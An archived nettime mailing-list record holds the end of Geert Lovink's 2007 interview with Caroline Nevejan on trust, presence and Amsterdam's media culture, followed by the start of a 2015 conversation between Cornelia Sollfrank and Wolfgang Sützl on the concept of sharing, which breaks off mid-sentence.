broken\nand how the business propaganda of delivering ?safe? environments was\n(and is) a fairy tale. At the time I could not have formulated it in\nthese terms, but in hindsight I can see that we were dealing with\nmultidimensional designs and were struggling how all these related and\ncontextualized each other and in this process trust appeared to be\nfundamental to be able to understand what was happening.\n\nTrust is a fuzzy concept and at the same time it is crucial in any\ninteraction. Everyone who makes things that other people use faces\nissues of trust. In collaborations, agreements and contracts, in\ndelivering and using services, as well as in every street, issues\nlike safety, liability, believability and trustworthiness profoundly\ninfluence the dynamics of interaction. Even though little has been\nwritten about ?trust? as such in the design world, since people\nrealize that they are modeling behavior of others, trust surfaces as\nan issue.\n\nThe possibility of using multiple identities on the Internet has made\nmore and more people aware about for example the basic trust people\nexchange when they meet. I find the design of trust most complex\nin 5D designs. These often deal with power relationships in which\nthe establishment of trust can easily be misused. I do not think\nsuch misuse only happens in business, I have seen it in many places.\nEspecially when larger groups of people start to express themselves\nand start to take responsibility, as is facilitated by developments\nlike the Internet, the old fashioned forms of control is not good\nenough anymore. With new ways of generating knowledge and new ways\nof interacting, new management styles are necessary. Such styles\nfocus on orchestration, on delegating responsibility (instead of\ntasks) and facilitate people to contribute and meet other people with\nother skills and knowledge as well. The way ?trust? and its dynamics\nare shaped, shapes how people will relate and this defines possible\nsuccess.\n\nGL: I read your study as a reflection on the culture of organizing\npublic debates that existed in Amsterdam. From early on you have been\nlooking for alternative formats and ways to ?stage? controversies\nin a different manner, for instance through a banal detail like\nthe rearrangement of seats. Do you think that we reflect enough on\nthis new culture that has been created in Amsterdam? It is great to\nread about the Galactic Hacker Party and the Zero Positive Ball.\nHowever, you also get the feeling that we do not take ourselves\nserious enough. Could we talk about a ?school? in Amsterdam that\ndeals with alternative designs of public debates? There is a lot of\nknowledge floating around amongst event an organizer that is not\nwritten down. You?re not a historian, and neither am I. How do you\nsee that we could better ?capture? the overflow of innovative, unique\npractices that happen in this city? How can this fertile place of\nexperimentation gain more influence, worldwide?\n\nCN: When traveling I realize again and again that the Amsterdam\ncultural context in which I grew up and to which I could contribute\nto, was very special. It would be interesting to analyze this from\na design perspective: to distinct the historical, the structural\nand the self-organizational elements for example. What created this\namazing challenging and yet safe playground at the time? Such an\nanalysis also needs to take into account how it changed early this\ncentury. How community centers were shut and kids were back in the\nstreets, how people retreated in their own realm, how bureaucracy and\nadministration dehumanized, how the homo scene is suddenly in defense\nagain, how the local media scene more or less disappeared. Most of all\nI wonder whether the current generation of young people in Amsterdam\nexperiences this freedom and richness we participated in at the time.\n\nI do agree with you that in the seventies, eighties up to the\nmid nineties there was a very special culture here, which was\ninternationally recognized and which maybe you could even label as\nwhat I would propose to formulate as The Amsterdam School for Public\nResearch. One of the characteristics of this Amsterdam culture was and\nmaybe still is that things are made and tried out in public spaces\nand had a research character. People from different disciplines\nparticipated as well as artists, whose involvement has been crucial\nfor success. By making things in public place, ?the public? influences\nwhat happens. And as a result things that are made and happenings\ninform the larger political and social debates. Public Research, a\nnotion we introduced when we founded the Waag Society in 1994, has\nnot been much elaborated very much upon since. There is a lot of\nnot-formulated experience and insights in how to make Public Research\nhappen, here in Amsterdam as well as in other places (like the Sarai\ninitiative in India for example). I wonder, though, whether this is a\nquestion of ?capturing?. I guess cultures fertilize new cultures when\nthere is a chance to experience. Such an analysis should inform new\ndesigns that can operate in the new current contexts.\n\nYour question also seems to suggest that the ?Amsterdam approach?\nshould gain more influence worldwide. Even though I tend to be\nskeptical about such ?cultural transmissions?, I realized through the\nmany responses on the Al Jazeerah broadcasting of ?Couscous and Cola?,\na television series produced by my (own) sister, in which a group of\nmigrant teenagers from the Amsterdam-West suburbs freely discusses\ntheir lives, that the ?openness? that till today characterizes Dutch\nsociety, resonates with young people around the globe. To be able and\nto be allowed to ask questions and listen to each other is fundamental\nto Public Research. The challenge as well as the safety needs to be\nprovided though.\n\nPersonally I have taken the challenge to take the things I learned\ninto a different professional arena in 1999, namely to higher\nprofessional education: to design a sense of performance in education,\nto switch the attention from designing ?education? to designing\n?learning environments?, to orchestrate public research in such\nlarge organizations. The methodologies we developed in the emerging\nAmsterdam digital culture were rather useful in that context. I also\nwitnessed that the battle for power is much stronger which pointed out\nhow fragile such processes can be.\n\nBecause of the Web 2.0 developments, and the knowledge management\nproblems that organizations have, more study into Public Research\nmakes a lot of sense. James Surowicky points out that diversity and\nindependence are prerequisites for any ?wisdom of crowds?. Scale\nmakes all the difference and as my research strongly suggests, a\nbalance between mediated, witnessed and natural presence has to be\nfound. Such research will address a larger movement in society: how\ndo we create and communicate experience and collaborate at a time of\npost-industrialization, hypermodernity and mass-individualization?\nI like your suggestion to start this analysis with a focus on the\nre-arranging of seats. How the seats are positioned, I can testify and\nyou as well, makes a huge difference in what will happen next.\n\nGL: Over the years certain concepts become alive. As ?memes? they\nstart to travel and become meaningful for a group of people and then\nare taken outside of that context, appealing to people you had no idea\nabout. This happened to ?tactical television? that we both worked on\nwith a group of artists and activists in 1992. This turned out to be\nthe first Next Five Minutes festival. Three others followed in 1996,\n1999 and 2003. These days there are academic anthologies and lectures\nseries about ?tactical media?. In the book you haven?t emphasized this\nevent. Can you nonetheless say something about your role?\n\nCN: It started in my perception with a conversation between David\nGarcia and me at my kitchen table. We were discussing how the current\nlanguage to talk about media did not pay tribute to the things we\nliked and thought were good. It was not anymore about ?left or right?,\nor about ?independent versus dominant?. We decided to explore this\nmore and we invited a few people, like you and Bas Raaijmakers,\nGeke van Dijk, Raul Marroquin and Menno Grootveld who were all\nconcerned with media, to share this thinking. In my memory we met\nthree or four nights and had long conversations and came up with the\nnotion of tactical television, which emphasized the cracks in the\nmedia-landscape as well as the position of the media-maker.\n\nI was the producer and ?concept-protector/communicator? of the first\nN5M. Each of you had a program-line and I was safeguarding that it\nbecame one program as well as that the developed thinking would\ncommunicate. You did Eastern Europe I remember distinctly. Bas en\nGeke did the southern hemisphere with Patrice Riemens as well. David\ninvited artists from all over. Tjebbe van Tijen made the archive. It\nwas a very rich program and in the end the atmosphere from the event\nwas nearly utopian. For many participants it was very reassuring to\nsee how people using media in smart ways could make interventions.\nRemember that the strategic freeze of the cold was over and so much\npotential seemed to blossom.\n\nAt the end of the first N5M I had a clash with David Garcia, which\nin hindsight was a very interesting one. He wanted authorship over\nthe concept of N5M, being an artist this was very important for him\nbecause the building of reputation is crucial for new funding. I,\nbeing the producer and responsible for something that was a collective\nendeavour, said that this was out of question. It is a whole group\nwho made it happen and in case of a community activity one does not\nclaim authorship, one is happy enough to participate. The issue\nof reputation building through ownership of authorship versus the\nbuilding of reputation through participation is till today an issue of\ntremendous importance.\n\nWhen we started to produce the second N5M I ran into a serious\ndisagreement with the editorial group. In 1996 the Internet was\nconquering the world and all you guys wanted to pursue net-critique.\nYou and Pit Schulz had just started the nettime list and this was an\nopportunity to meet and explore more. The result was a program full\nof white young ambitious boys, yet it has been my pride to always\nmake programs in which diversity is the fundament and also I thought\nthat the scope and original agenda of the N5M was not pursued enough.\nTogether with Patrice Riemens I wrote the article ?Vital information\nfor social survival? to make my point (which was published in the\nEconomic Times of India). In the end I withdrew from the editorial\ngroup. I supported the second N5M from out Paradiso, but it was not\n?my program? anymore. It is great to see though how the notion of\ntactical television has traveled. It makes sense because the notion\nof tactical media is way to understand certain positions in today?s\ncomplex media-landscapes. Also, many of the nettime-posters have\nbecome Professors of New Media and Digital Culture, who teach between\nthem thousands of students all over.\n\nGL: A concept that you emphasized, time and again, is ?vital\ninformation?. It appealed to me, and stayed with me, ever since it was\nused in the Zero Positive Ball event in 1990. Can you say something\nmore about it? Has it been used in other contexts?\n\nCN: Vital information has been an important notion for me since the\nZero Positive Ball indeed. That is where it surfaced for me. The\nstrive for survival and well-being, the conatus as Spinoza called it,\nmakes people take hurdles they thought they never would. When this\nstrive is triggered, original energy of people becomes available and\nwhat happens next will make sense. The dialogues and the connections\nthat are made, will truly influence people?s lives. When mediated\npresence offers ?vital information? the bridge between natural and\nmediated presence becomes very smooth. I have found that in any\nsituation one can find the vital information. It always taps into this\ndeeper layer of survival and therefore it also taps into the sense of\nethics people feel. One communicates around the current status quo, so\nto say, to be able to create, if at all needed, changes in this status\nquo. It takes an effort to find ?vital information?, one has to ask\nquestions and challenge the current status quo.\n\nI only know a few people who work with the concept of vital\ninformation. As you know I am not a regular writer, and after the\nfirst article with Patrice Riemens, I only discussed the concept again\nin my dissertation. Nevertheless I have worked with many people over\nthe years and in those collaborations ?vital information? always has\nplayed a role of significance.\n\nGL: You have somehow copy-pasted the NGO rhetoric around ?human\nrights? in your work. I wonder why. As you know there is a whole\ndebate about how useful the ?rights? discourse is in the new media and\nactivist context, and how, potentially, disempowering it can be to\nclaim ?rights?. It?s such a passive and institutionalized activity.\nNonetheless, you have chosen the Universal Declaration of Human\nRights as a central document in your study. One would expect boring\ngovernment or U.N. documents to do. Is there maybe a personal reason\nwhy this document plays such an important role?\n\nCN: It is interesting that you ask about a personal reason for this\nchoice. It was not a personal reason at first. Since the moment\nI realized that ?the sense of presence? can be described as ?the\nsense for survival and well-being? to formulate it shortly, I was\nlooking for a way to make trust operational in which this sense\nfor survival would resonate. I was aware of the many critique?s\nthat are formulated about the UDHR, but realized that in the light\nof destruction during World War II the UDHR is formulated (which\nis mentioned in the preamble). In the light of the unimaginable\ndestruction that happened all ideological or religious reasoning\nbecame obsolete. Also the fact that it is a secular document and\nthat it has played this vital role in international diplomacy for\nover 50 years, defines its significance. And I felt with the current\ndevelopments in which there seems to be no limit as to how far we are\ndigitizing people en mediating our presence around the globe, such a\nstrong reference point is necessary.\n\nUp to this day, when being involved in working with refugees,\n?illegal? people and other political situations, the UDHR has been a\ndeclaration that one can refer to and on which basis one can go to\nlocal, national and international courts, to point out that in certain\nsituations human dignity was denied and that therefore such situations\nhave to be challenged and changed. If I would look for an even more\npersonal reason than I guess the UDHR resonates in its fundament\nmost with motherhood for me. Children have rights that are not to be\nneglected nor denied by any religion or political system. This is\nsomething I feel very strong about.\n\nGL: I noticed that in your references and experiences that you\ndescribe, you easily switch between the world of global corporations,\nhuman rights activists and social movements. Is the context that you\nwork in really without frictions? You do not often mention that there\nare conflicts of interests. I suppose you are not suggesting that we\nall work on the same project. In the past people would have asked:\nwhich side are you on?\n\nCN: Already in the past the question: ?which side are you on?? has\nproduced more than enough atrocities, exclusions and humiliations\nthat were not beneficial nor necessary as well as that they were\ncounterproductive to ?the cause?. I strongly believe that people\ncan be ?good? human beings in all realms of society, even if they\nhave different interests, as long as they are willing to enter into\ndialogues and conversations with others when appropriate. You notice\nindeed that I try to get around the ?being good? and the ?being bad?.\nI think that does not actually exist, as a scientist definitely not,\nbut also in my personal life and in my professional life I find this\ndistinction not useful at all. However, in my dissertation and up to\nthis day, I have not entered into any thought or dialogue about the\ncharacter and value of intentions, which is part of this debate and\nwhich I also expect to have consequences for this debate.\n\nI focused on how things and processes can be good and bad in certain\ncontexts from the perspective of supporting survival and well-being.\nThe feeling of something being good or pleasant is an important\nindicator of where well being is to be found (I here take the\nperspective of Professor Antonio Damasio). To transpose such senses\nand feelings into judgments about other human beings in general I find\nmedieval reasoning. That is why our judicial systems as well as our\nscientific structures are important. Logic and reasoning sanction the\naction and ideas of people in certain contexts, which is how we can\nprotect ourselves from each other?s misconceptions and destructive\nactions.\n\nNevertheless I do agree that when certain interests color certain\nactions and perceptions this should be mentioned. In my perception I\nshow awareness of this. Are there any specific paragraphs where you\nmiss the mentioning of certain interests? The introduction of the\n?crucial network? specifically deals with these conflicts of interest.\nAs you can read, I argue that the presence of the ?crucial network?\nthe gathered conflict of interests, generates an environment in which\ntrust can be found. Power becomes transparent in such a case and\ntherefore the power status quo can be challenged as well.\n\nGL: There is an example we can discuss here. Lee Felsenstein, who is\nfeatured in your book as one of the early hackers, has recently made\nsome critical remarks about Negroponte?s One Laptop per Child project\n(http://fonly.typepad.com/fonlyblog/2007/06/one_computer_pe.html). How\nwould you, using your vocabulary of Presence and the Design of Trust,\nlook into this controversy? Your PhD supervisor, Cees Hamelink, also\nhas strong views on this ?ICT for Development? field.\n\nCN: For a start I like to argue that we are not dealing with a\ncontroversy here. If anything we are observing a debate between two\ngroups of Americans who both claim to know how to change the world.\nI guess it is great if they make cheaper computers, do more research\ninto learning and I am always in favor of people who put children on\nthe agenda. However, both do not seem to be inspired nor hindered by\nknowledge of things that are happening already, nor do they seem to\nbe aware of the social and economic circumstances of the ?developing\nworld?. Even IT multinationals like Intel, Motorola, Philips, HP,\nNokia and others have realized at the beginning of this century that\nwhile the northern markets are being saturated with their products,\npeople in the southern hemisphere of whom most earn less than 1 dollar\na day, can not afford their products. This realization is one of the\nreasons that they are shifting from product to service design.\n\nTo push for a hundred dollar computer per child excludes most of the\nchildren in our world, also many children in the United States are\ntoo poor to be able to afford such a machine. It is clear to me that\nthis initiative generates lots of research funding for the Americans\ninvolved and has a potential business perspective worth billions of\ndollars. Where this initiative may become dangerous, in the sense that\nit will prevent other people to make their own things, is where they\nstart developing infrastructure with American for profit companies for\nall regions of the world. The material infrastructures of the Internet\nin the end define who has access to what. Especially the market of\nbuilding infrastructures is, as Cees Hamelink has been pointing out\nfor over 20 years, a new form of colonialism, cultural imperialism or\nwhatever you want to call it. The ownership and responsibilities that\ncome with this ownership (and its potential misuse and if not being\naffordable), should be of great concern worldwide. Even in Amsterdam\nwe do not own our own information infrastructure anymore.\n\nConcerning Lee?s proposal for a computer per village, I can only\npoint to things that are already happening. In 1990?s Sam Pitroda,\nand Indian entrepreneur collaborating with the Indian government,\ngathered over 300 engineering students one summer to design India?s\ntelephone system. The idea was that one phone per village makes all\nthe difference. And so it appears to be. By 2002 every village, so\nis claimed, now has an STD phone in its local shop. The shop owner\nprovides the service of making phone calls to the villagers who pay a\nfew cents per call and the shopkeeper has a raise in income because\nof exploiting the phone. Jiva, one of the many social entrepreneurs\nin India, has started to put a computer with every phone to develop\ntelemedicine as well as distant learning. Infrastructure matters, but\neven more so do new models for learning. Since 1999 Professor Sugata\nMitra, at the time connected to NIIT and now connected to Newcastle\nUniversity, has been exploring the idea of children who learn through\nself organization. His by now famous Hole in the Wall project has\nadvanced a lot since. In his last experiment he asked the question\nwhether Tamil speaking children could learn bio-technology in English\non their own and he found that they had acquired 30% of the material\nhe had left them alone with for three months (speaking English with\na Texan accent they had acquired from one of the sites!). He comes\nto the conclusion that groups of children, when left alone with a\ncomputer hooked up to the Internet, actually learn a lot. For this\nto happen the computer should be located in a public space so that\nchildren can discuss what they see and can enter into competition with\neach other as well as learn by copying each other.\n\nYou ask me to connect this to my research into Presence and the\nDesign of Trust. I guess the market of infrastructures should become\ntransparent for it to generate trust. However, we people will use\nanything that works and a worldwide judicial system that will respect\nprivacy and promote freedom of expression is not in place. Much\ngovernment policymaking is way behind technological developments.\n\nSugata Mitra?s work on the self organization for learning I find\nextremely interesting, also from the viewpoint of my research. He\nemphasizes that children who gather in natural witnessed presence,\nbecause they enter into conversation with each other, have unexpected\nhigh learning curves. They make ?sense? of the mediated chaos they\nencounter in the first place and within days are capable of operating\nthis chaos and learn from it. From his research one could conclude\nthat mediated presence generates the highest learning curves when\nit is perceived in natural witnessed presence. A similar experience\nwe had with projects like Demi Dubbel from the Waag, and also my\nexperiences at the Hogeschool van Amsterdam point into this direction.\n\nGL: If we become culturally specific, much of the Amsterdam ?making\nthings happen? that you and I are part of can be reduced to the\nexchange between the Netherlands and the United States. In both case\nstudies, the hackers event and the AIDS conference, US-American\nactivists, and their concepts and reference systems, are playing a\nkey role. Obviously, continental Europe had a lot to catch up with in\n1989-1990, particularly if we look at cyber culture. If we switch to\nthe current Web 2.0 craze not much has changed. Americans are flown\nin to do their spiel, both in the academic, commercial and cultural\ncontexts. Just look at the large creative industries event, held here\nin Amsterdam so far in 2006 and 2007 called Picnic. The cultural flow\nseems one-sided. Have you seen much change over the past twenty years\nin the way that the USA and Europe are interacting?\n\nCN: In my perception, being a witness of USA policy since the\nseventies, the USA has rudely intervened all over the world and\ndoes not hesitate to offend the international community nor does it\nhesitate to promote their culture with all means available. This\nhas not much has changed. In the telecommunications sector the\nbattle about infrastructure is not over. But also, because the US\ngovernment has shown such disrespect for others, the USA underground\nis also profound, which again is an inspiration for many of us. The\nUSA is and has been over the last 50 years ?the? major player in\ninformation and communication technology as well as in the cultures\n(music, film, internet, TV) it produced. In 1989 when we organized the\nGalactic Hacker Party (before the Berlin wall broke down) the UNESCO\ndeclaration in which a ?more-balanced flow of information? was on\nthe agenda. However, since the cold war was over, ?wild capitalism?\nhas conquered the planet as you know, but such dynamics also produce\nits counter forces and for example the fact that whole regions of\nthe Internet are not English anymore will have impact. In the shows\nwe organized in Amsterdam Americans were never our only guests. And\nof course this takes a lot of effort, with many European countries\nit is not easy to interact and with other parts of the world it is\neven harder. Even with the Internet being so omni-present today, it\nis often complex to identify the right people. Networks of trust are\ncrucial. I remember distinctly that because you had spent time early\nnineties in Eastern Europe we had regularly had East-European guests.\nBecause you were the ?social interface? as you are till today for many\nof us to many others we do not know in other areas of the world. I do\nargue that current event-organizers do not take enough trouble to make\nsure they present a diverse program and reach out to diverse publics\nas well. In my dissertation I describe how in Paradiso a constant\neffort is taken to prevent the rise of mono-cultures and include new\nor not known or not-staged people again and again. I think the taking\nof such effort is a prerequisite for any good program that wants to\nmake a difference.\n\nGL: At the end of your dissertation you have proposed your own\nmethodology, and coined it YUPTA. It describes a design method in\nwhich the relation between presence and trust takes centre stage.\nCould you explain it to us?\n\nYUTPA is the acronym for ?being with You in Unity of Time, Place\nand Action?. I argue that if we want to understand the relation\nbetween presence and trust there are four dimensions that deeply\ninfluence this relationship: here/not-here, now/not-now, do/not do and\nyou/not-you. The dimensions place and time define what synchronicity\nis possible and what feedback possibilities there are. I also realized\nthat the perspective of possible action, to be able to intervene in\nwhat happens next, influences the responsibility we can take (and\nnot retreat in a moral distance) and therefore influences what trust\nwe can establish in a certain situation. And this is influenced also\ndeeply by the relation we have to other human beings. When we are in\nrelation with someone (family, friends, colleagues, neighbors) we\nunderstand what happens in the context of this relation. people we\ndo not know and with whom we have no connection we merely treat as\ninformation to which different laws of causality apply.\n\nIn the model I developed the four dimensions create 16 possible\nspaces for social interaction. I argue that each of these spaces for\nsocial interaction have specific possibilities for certain kinds of\ntrust/distrust and delegations of trust. When designing communication\nprocesses a much more deliberate design of such processes is possible.\nBy identifying what kind of trust is necessary, you can also decide\nwhat medium and format to use to be able to establish such a kind of\ntrust. I find through giving lectures and working with people that\nespecially in 5D design trajectories YUTPA seems to be a valuable\ncontribution.\n\nGL: In terms of education, so much seems focused on short-term skills,\nin particular when we look at new media. There is a great fear amongst\nhigher education officials to miss the connection with the labour\nmarket. However, there are places, such as the Design Academy in\nEindhoven and the Sandberg Institute in Amsterdam, where they do focus\non concept development. Is it possible to teach conceptual design on\na broad graduate level, to the thousands of students who are now into\nnew media design? Or do we really have to limit this to a small group\nof more experienced students that work in post-graduate labs?\n\nCN: I definitely think you can teach conceptual design to children,\ngrown ups of all ages and also to the thousands of students who are\nnow studying new media design. The issue though is ?attention?. To be\ninvolved in conceptual design requires reflection. To be introduced to\nthe skill of being able to use different ways of reflection requires\npersonal attention. I think more emphasis is needed on the development\nof solid analytical skills and ways of doing research. Also I found\nthat a lot of the students I worked with were not used to openly\nreflect and needed to find the confidence to do this. One can learn\nanalytical skills by seeing it done, especially when the subject is\nintriguing. In my twenties for example I did this fantastic minor in\nfilm in which we saw many unusual films as well as great analytical\ntalks about them. We were with a few hundred students attending\nthis course. But we also had breakout groups that were guided by\nstudents who had already done this course before and that made a\nhuge difference. I realize that education had to deal with huge\nbudget cuts in the last decades, which triggered the need for more\na self-organizational design of education. Nevertheless I have been\namazed in my years of higher professional education at the Hogeschool\nvan Amsterdam, how the concept of students teaching other students\nis used so little in the orchestration of learning environments.\nToday students are mostly left alone in project based groups, but\ndo not have the advantage of being guided by students who are ahead\nof them. So I would argue that it is a question of orchestration in\nthe learning environments to make sure that the skill to reflect can\nbe developed and conceptual design can become a ground from where\nyou actually design ?stuff?. I also think it is very necessary to\ndo this because otherwise, as you point out, the fear to miss out\nthe connection with the workforces of the future will appear to be\ncorrect.\n\nGL: You have not chosen for a classic academic career. Instead, you\nhave been active as a cultural producer, consultant and manager. Over\nthe past years you sat down and reflected upon your practice. This\nis in accordance with the general trend in the Anglo-Saxon countries\nto have more ?practice-based? PhDs. Now that you?re done, how do you\nlook at the academic rituals? Universities seem to stick to their own\npeople who have followed the ordinary career path as required by the\nsitting professors. New media, design and activism, it all doesn?t\nseem to fit very well within the university system. If students do\nnot chose for a life-long career in their late twenties, they usually\ncan?t enter academia at a later stage, so it seems. What are the\nimplications of this for society at large?\n\nCN: I perceive the same trend as you do although it is not everywhere\nas rigid as the Dutch situation seems to be. In the United Kingdom and\nthe USA for example I see that professional PhD?s are valued very much\nand academic careers can consist of diverse practices. But overall,\nyes, I see that the social sciences strongly defend their position. It\nis as if academia has become a class that one has ?to be born into?.\nI find this very alienating since social sciences can really make a\ndifference, which they are more and more loosing out to do. Today,\ninterestingly enough, mostly in business schools I find the original\nthinking and the development of new social practices to be valued and\nsupported.\n\nTo answer your question more in depth I turn to the concept of the\n?double hermeneutic? as it is formulated by Anthony Giddens. Social\nsciences retrieve their concepts from society, add and produce new\nconcepts that in turn produce new practices which are then analyzed\nwhich produce new concepts which produce new realities and so on. This\nmakes the social sciences very complex, as Cees Hamelink points out\nagain and again. Only when I found out how much my practice has been\ninfluenced by the concepts I gathered, of which quite essential ones\ncome from social sciences, I realized the implications of this double\nhermeneutic in the social sciences. When the exchange between academia\nand society is diminished to academic publishing and the influx of\nother kinds of knowledge and output is discarded of, it will be lesser\nand lesser equipped to be able to deal with today?s complexities and\nfor that reason slowly fade out in the end. In professional social\nscience?s realms (in business, in large organizations as well as in\nindividual practices) you can clearly see that many more methodologies\nfor creating engaging reflexivity have emerged. Interestingly it\nare the business schools and some anthropology departments that\nhave devoted attention to such new models. It seems that academia\nis still trying to show the natural sciences that it matters by\nfocusing on questions that can be measured in the manner of natural\nsciences. Such positivist research can be very useful provided it is\ncontextualized in larger frameworks of thinking. Especially in the\nthinking I perceive a reluctance to connect to innovative and original\ntheoretical and professional practices. Instead of claiming specific\nmethodologies for its own domain, it adapts to a system which in the\nend, I suspect, will appear to be very counterproductive to its own\ngoals.\n\nAnother way of analyzing the current situation is by focusing on the\ncurrent social science?s research paradigm. As Thomas Kuhn elaborated\nso eloquently, science develops steps and gaps between paradigms,\nwhich make previous paradigms obsolete. Possibly the social sciences\nare stuck in a paradigm that deals with social realities as we could\nperceive them in the 1980?s. The current huge changes because of\ntechnological development as well as the scale of globalization that\nwe have to deal with everyday, are mind blowing. Instead of taking\nthe lead in these developments it seems that the social sciences have\nretreated in a world as we knew it, adding ?some new wine in old bags?\nand, what I object most to, demanding obedience from its students in\nthe first place. The result is a mediocre thinking, which does not\ninspire social practices at all, since it does not take into account\nthe need for innovation as it happens in education, in health, in\nbusiness, in government etc. I also object to the fact that the few\npeople, who dare to develop concepts that deal with these issues, are\nmarginalized up to the point of exclusion.\n\nSo you can ask me why interact with this community? I guess that\nsocial sciences are dear to me, that I value the scientific\nmethodologies very much and that they can help to understand and to\ninvent the new ways of social interacting that we witness and practice\neveryday. I wish that the research establishment of today would open\nup and start to play its role of significance again because there is\na body of knowledge to be developed that is badly needed by many. The\ncurrent fragmented and distributed development of social practices\nwould greatly benefit from social sciences taking up their historical\nrole again.\n\n(Thanks to Patrice Riemens for editorial assistance)\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "nettime-l {AT} kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0712/msg00070.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Interview with Caroline Nevejan",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [],
                "message-id": "002a119b1420381e9cc437cb2ee96708 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Mon, 24 Dec 2007 10:00:02 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Cornelia Sollfrank <cornelia {AT} artwarez.org>",
                "id": "00074",
                "content": "Sharing \u2013 the rise of a concept\n\nCornelia Sollfrank in conversation with Wolfgang S\u00fctzl\nLiverpool, 5 November 2015\n\nCornelia: Your recent research has revolved around the notion of\n\u201csharing,\u201d and I would like to get a better understanding where this\ninterest comes from and how it is embedded in the larger context of your\nwork.\n\nWolfgang: This interest in sharing has resulted from my research on\nmedia activism. In the course of a research project at University of\nInnsbruck, we realised that \u201csharing\u201d plays an important role in many\nactivist communities \u2013 while its actual meaning seems to be rather\nvague. It obviously relates to the then very topical phenomenon of file\nsharing, but there seemed to be other implications as well.\n\nMedia activism was not just brushing media against the grain, but also\nintervening in the socio-economic structure of the media and tech\nindustries. This involved questioning the notion of scarcity. If you can\nmake digital content available to many people for free, why not do it?\nIn an interview I did with Eben Moglen, a co-founder of the Free\nSoftware Foundation, he asked: if you could provide everyone with enough\nfood to eat by pressing a button, what would be the moral argument for\ndenying people that food? Activists realized that digital media had this\npotential of functioning outside an economy of scarcity. To examine such\nquestions, we organized a conference, Cultures and Ethics of Sharing, in\nInnsbruck, and later I co-organized an ICA preconference on digital\nsharing with Nicholas John (Hebrew University). Since then my research\nhas been mainly concerned with the conceptual dimension of sharing.\n\nCornelia: Before we talk about the phenomenon of sharing in the context\nof digital networks \u2013 which obviously is the field in which it has been\nrediscovered and has proliferated most in the twenty years \u2013 I would be\ninterested in learning more about the intellectual roots of this\nconcept. You have looked at a number of philosophers who might be useful\nin order to conceptualise the notion of sharing \u2013 one of them being\nGeorges Bataille and his idea of the excess\u2026 Wolfgang: Bataille is of\nparticular interest in this regard, because he developed outlines of an\nanti-economy that starts from surplus rather than scarcity. He focused\non what we do to expend resources, rather than make them. He felt that\nMarxism was not radical enough, buying into the notion of scarcity which\nis at the heart of the capitalist economic model. He defined a boundary\nto economic exchange, with expenditure being that which can no longer be\nexchanged, that which no longer yields anything and cannot be recycled\ninto additional growth. He calls this \u201cThe Accursed Share,\u201d which is\nalso the title of the book he wrote in 1949. And just like Bataille\u2019s\nexpenditure, sharing is not something that can be used towards growth.\nThe concept of a \u201csharing economy\u201d does not make any sense.\n\nCornelia: What also comes to mind when thinking about sharing is its\nembeddedness in Christian culture. How much is the positive connotation\nof sharing due to this religious origin?\n\nWolfgang: The New Testament contains many references to sharing, the\nmost widely known is perhaps the Feeding of the 5000, where Jesus and\nhis followers share what seems to be a ridiculously small amount of\nfood. This happens after Jesus tells his disciples not to send people to\nthe surrounding villages to buy food, that is, he stops them from\nengaging in economic exchange. What seems key to me here is not so much\nthat by sharing a large crowd is fed from a few loafs of bread and some\nfish, with everyone getting enough. The point is that there are several\nbaskets full of food that remain uneaten. There is a surplus that comes\nfrom sharing, and it is, just like Bataille\u2019s \u201caccursed share,\u201d a\nsurplus that cannot be recycled into further growth. This is a model of\nan anti-economy that also underlies the demand to offer the second\ncheek. The positive connotation of sharing, its \u201cniceness,\u201d comes\nperhaps from the idea of equality and togetherness in sharing. This is\nvery different from the formal equality enjoyed by participants in a\nmarket, and the hierarchies that are created or strengthened through\nalmsgiving\u2026\n\nCornelia: Together with Bataille and his notion of expenditure, the\nmultiplication of loaves and fishes suggests a parallel to what we have\nbeen experiencing with digital networked media: abundance instead of\nscarcity. I would be interested in how you think these two schemes\ntogether.\n\nWolfgang: Bataille applies the word excess to practices that waste\nenergy without return, including sacrifices, luxury, war, and\nnon-reproductive sex. To him, wealth is a matter of expending what\ncannot be recycled into growth, and it is up to us what form this\nexpenditure has. In principle, digital networked media can be seen as\nexcessive in this way because digital objects are infinitely\nreproducible, so that in a sense there is always too much, there is\nalways more than we can productively use. However, the commercialization\nof the internet has led to the paradoxical situation where this\nexcessive availability fuels the growth of Facebook, Google, etc. A few\nyears ago, media activists started virtual suicide platforms that\nallowed users to delete their profiles, a kind of sacrifice, if you\nwill, that is reminiscent of Bataille\u2019s thinking.\n\nCornelia: If we continue this thought, and bring in the notion of\nsharing, it becomes necessary to distinguish more precisely between\nsharing and exchange as an economic transaction. Could you please\ngenerally explain the difference of these two concepts?\n\nWolfgang: Unlike exchange, sharing is not reciprocal. It does not\nconsist of the mutual give-and-take that forms the structure of\nexchange, both of economic exchange, as in a market, and of symbolic\nexchange, as in the giving and returning of gifts, words, or other\nsymbols. Baudrillard\u2019s Symbolic Exchange and Death (1976) showed the\nimportance of symbolic exchange in capitalism, and takes the Marxist\ncritique beyond the merely economic. Bourdieu has also developed a\ncritique of symbolic exchange around his notion of cultural capital. But\nthey both stop at the point where a formal representation of reciprocity\nis no longer possible, the point Baudrillard later theorized as\n\u201cimpossible exchange,\u201d in his book of the same title.\n\nCornelia: It appears to me as if symbolic exchange was somewhere between\neconomic exchange and sharing\u2026\n\nWolfgang: Almsgiving, like gift-giving in general, is a form of symbolic\nexchange, which in Bourdieu\u2019s thinking affirms and stabilizes social\nhierarchies. Symbolic exchange determines who is on top and who is at\nthe bottom. By tipping a waiter you, and the waiter who accepts the tip,\nagree on this. This verticality of symbolic exchange explains why giving\nand receiving of gifts in relationships between people who want to be\nequal, such as the modern couple, is often such an awkward affair,\nsometimes resolved by giving up the idea of a gift altogether.\n\nBaudrillard argues that symbolic exchange has many forms that support\nthe functioning of economic exchange\u2014for example, the law and the state,\nwhich intervene when economic exchange fails, as in bankruptcy,\nunemployment, or by setting base rates. This too shows how symbolic\nexchange is bound up with political power. Organized crime, black\nmarkets, or state-controlled economies function predominantly in this\nway.\n\nCornelia: That means we actually remain in a sort of economy with 